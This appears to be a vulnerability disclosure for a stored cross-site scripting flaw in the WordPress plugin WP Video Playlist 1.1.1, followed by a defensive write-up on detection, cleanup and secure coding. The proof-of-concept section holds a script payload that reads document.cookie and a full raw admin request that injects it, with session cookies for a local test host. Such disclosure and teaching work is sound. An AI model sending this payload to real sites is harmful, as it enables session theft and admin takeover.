Wordpress Plugin WP Video Playlist 1.1.1 - Stored Cross-Site Scripting (XSS)

Exploit Author: Erdemstar Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-04-12
# Exploit Title: Wordpress Plugin WP Video Playlist 1.1.1 - Stored Cross-Site Scripting (XSS)
# Date: 12 April 2024
# Exploit Author: Erdemstar
# Vendor: https://wordpress.com/
# Version: 1.1.1

# Proof Of Concept:
1. Click Add Video part and enter the XSS payload as below into the first input of form or Request body named "videoFields[post_type]".

# PoC Video: https://www.youtube.com/watch?v=05dM91FiG9w
# Vulnerable Property at Request: videoFields[post_type]
# Payload: <script>alert(document.cookie)</script>
# Request:
POST /wp-admin/options.php HTTP/2
Host: erdemstar.local
Cookie: thc_time=1713843219; booking_package_accountKey=2; wordpress_sec_dd86dc85a236e19160e96f4ec4b56b38=admin%7C1714079650%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7C27abdae5aa28462227b32b474b90f0e01fa4751d5c543b281c2348b60f078d2f; wp-settings-time-4=1711124335; cld_2=like; _hjSessionUser_3568329=eyJpZCI6ImY4MWE3NjljLWViN2MtNWM5MS05MzEyLTQ4MGRlZTc4Njc5OSIsImNyZWF0ZWQiOjE3MTEzOTM1MjQ2NDYsImV4aXN0aW5nIjp0cnVlfQ==; wp-settings-time-1=1712096748; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse%26uploader%3D1%26Categories_tab%3Dpop%26urlbutton%3Dfile%26editor%3Dtinymce%26unfold%3D1; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_dd86dc85a236e19160e96f4ec4b56b38=admin%7C1714079650%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7Cc64c696fd4114dba180dc6974e102cc02dc9ab8d37482e5c4e86c8e84a1f74f9
Content-Length: 395
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://erdemstar.local
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://erdemstar.local/wp-admin/admin.php?page=video_manager
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

option_page=mediaManagerCPT&action=update&_wpnonce=29af746404&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dvideo_manager%26settings-updated%3Dtrue&videoFields%5BmeidaId%5D=1&videoFields%5Bpost_type%5D=<script>alert(document.cookie)</script>&videoFields%5BmediaUri%5D=dummy&videoFields%5BoptionName%5D=videoFields&videoFields%5BoptionType%5D=add&submit=Save+Changes


WP Video Playlist 1.1.1 — Stored Cross‑Site Scripting (XSS): Analysis, Impact, and Mitigation

This article explains a reported stored cross‑site scripting (XSS) vulnerability affecting the WordPress plugin "WP Video Playlist" version 1.1.1. It covers the vulnerability mechanics at a high level, attack surface and impact, detection techniques, and practical, defense‑oriented remediation steps including secure coding patterns for WordPress plugin authors and site maintainers.

Executive summary

Stored XSS occurs when an application persists attacker‑controlled input and later renders it into pages without appropriate sanitization or escaping. In the reported case the plugin saves a user-supplied value under a video metadata/options parameter and later renders it into the admin interface (or front end) without sufficient filtering or output escaping. That allows arbitrary script content to be stored in the site database and executed in the browsers of users who view the affected page.

Why stored XSS is dangerous

  • Persistent execution: the payload is stored server‑side and executes in any user’s browser that views the infected page.
  • High impact: it can lead to account takeover, theft of cookies or tokens, privilege escalation, site defacement, or a persistent foothold for attackers.
  • Broad reach: if the stored payload is rendered into pages visited by many users (including administrators), the damage multiplies.

Vulnerability summary

PropertyDetails
PluginWP Video Playlist
Affected versionReported: 1.1.1
ClassStored Cross‑Site Scripting (Stored XSS)
Injected inputPlugin accepts and persists a video-related field value (user-supplied option/metadata)
Root causeInsufficient sanitization/escaping before storing and rendering option value

Attack surface and prerequisites

Stored XSS typically requires the attacker to be able to submit data that the application will save (for example via an upload form, an options page, or a content editor). Depending on the plugin implementation, that may require authentication (e.g., an administrative or editor role). However, even if only authenticated users can submit the value, the payload becomes dangerous when rendered to higher‑privilege users or many site visitors.

Detection and indicators

  • Search for unexpected HTML/script tags stored in the options or postmeta tables. Example (non‑executable) SQL search pattern:
    SELECT option_name, option_value FROM wp_options WHERE option_value LIKE '%<script%';

    This query finds option values containing a script tag pattern; run safely on a backup or read‑only replica.

  • Inspect the plugin’s saved options and stored video metadata for stray HTML or attributes you did not expect.
  • Check webserver and application logs for suspicious POST requests that contain unusual values for video related parameters.
  • Use automated scanners (WPScan, OWASP ZAP, Burp Suite) to look for stored XSS patterns as part of a security audit.

Immediate mitigation steps for site owners

  • Update the plugin: if a vendor patch is available, apply it immediately.
  • Remove suspicious stored values: inspect and clean plugin options or database rows containing injected HTML/script content.
  • Rotate credentials and invalidate sessions: if you suspect administrator sessions may have been compromised, reset admin passwords and force logouts.
  • Harden admin access: restrict access to /wp-admin by IP where practical and enforce strong MFA for privileged accounts.
  • Enable Content Security Policy (CSP): implement restrictive CSP headers (e.g., limit script-src to trusted origins and nonces) as an additional mitigation against injected scripts executing.

Secure coding recommendations (plugin authors)

Below are best practices developers should apply to prevent stored XSS in WordPress plugins. Use WordPress APIs for sanitization on input and escaping on output; do not rely on only one of them.

Sanitize on input

When saving user-supplied values, use appropriate sanitization callbacks. For plain text use sanitize_text_field or a stricter custom sanitizer. Example:

if ( isset( $_POST['videoFields']['post_type'] ) ) {
    $raw = wp_unslash( $_POST['videoFields']['post_type'] );
    $clean = sanitize_text_field( $raw ); // removes tags and encodes entities
    update_option( 'my_plugin_video_post_type', $clean );
}

Explanation: wp_unslash removes WordPress magic slashes, sanitize_text_field strips tags and encodes bad characters, and update_option stores a cleaned value.

Escape on output

Always escape values at the point of output, based on context:

  • HTML body context: use esc_html()
  • HTML attribute context: use esc_attr()
  • JavaScript context (inline JS): use esc_js()
  • When allowing a limited subset of HTML: use wp_kses() or wp_kses_post() with a defined whitelist
// Output inside an attribute:
echo '<input value="' . esc_attr( $video_post_type ) . '" />';

// Output inside HTML body:
echo '<div>' . esc_html( $video_post_type ) . '</div>';

Explanation: Escaping at output ensures that even if a harmful string is stored, it will be rendered safely and not interpreted as executable code by the browser.

Register settings with sanitization callback

register_setting( 'my_plugin_options', 'my_plugin_video_settings', array(
    'sanitize_callback' => 'my_plugin_sanitize_video_settings',
) );

function my_plugin_sanitize_video_settings( $input ) {
    $output = array();
    $output['post_type'] = isset( $input['post_type'] ) ? sanitize_text_field( $input['post_type'] ) : '';
    // sanitize other fields...
    return $output;
}

Explanation: Using register_setting with a sanitize_callback enforces sanitation when WordPress saves options via the Settings API.

Additional secure development practices

  • Verify capabilities: use current_user_can() to ensure only authorized users perform option updates.
  • Use nonces and check_admin_referer() to protect against CSRF in forms that modify options.
  • Log and monitor administrative changes to detect suspicious activity early.
  • Reduce the stored attack surface: avoid storing untrusted HTML unless strictly necessary; if HTML is required, sanitize via wp_kses with a minimal allowed list.

Incident response checklist for administrators

  • Install the plugin update or remove the plugin if no patch is available.
  • Audit options, postmeta and plugin tables for injected scripts and remove any malicious entries.
  • Invalidate potentially compromised sessions and rotate keys/passwords.
  • Perform a full backup and, if needed, restore to a clean snapshot taken before the compromise.
  • Perform a website scan with reputable tools and consider a professional code audit for the plugin or site.

Summary

Stored XSS is a high‑impact vulnerability class that can arise when plugin code accepts and persists user data without proper sanitization or fails to escape it before rendering. Site owners should patch affected plugins, sanitize and clean stored values, and harden admin access. Plugin authors must apply defense‑in‑depth: sanitize on input, escape on output, and enforce capability and nonce checks to reduce the chance of stored XSS enabling a real compromise.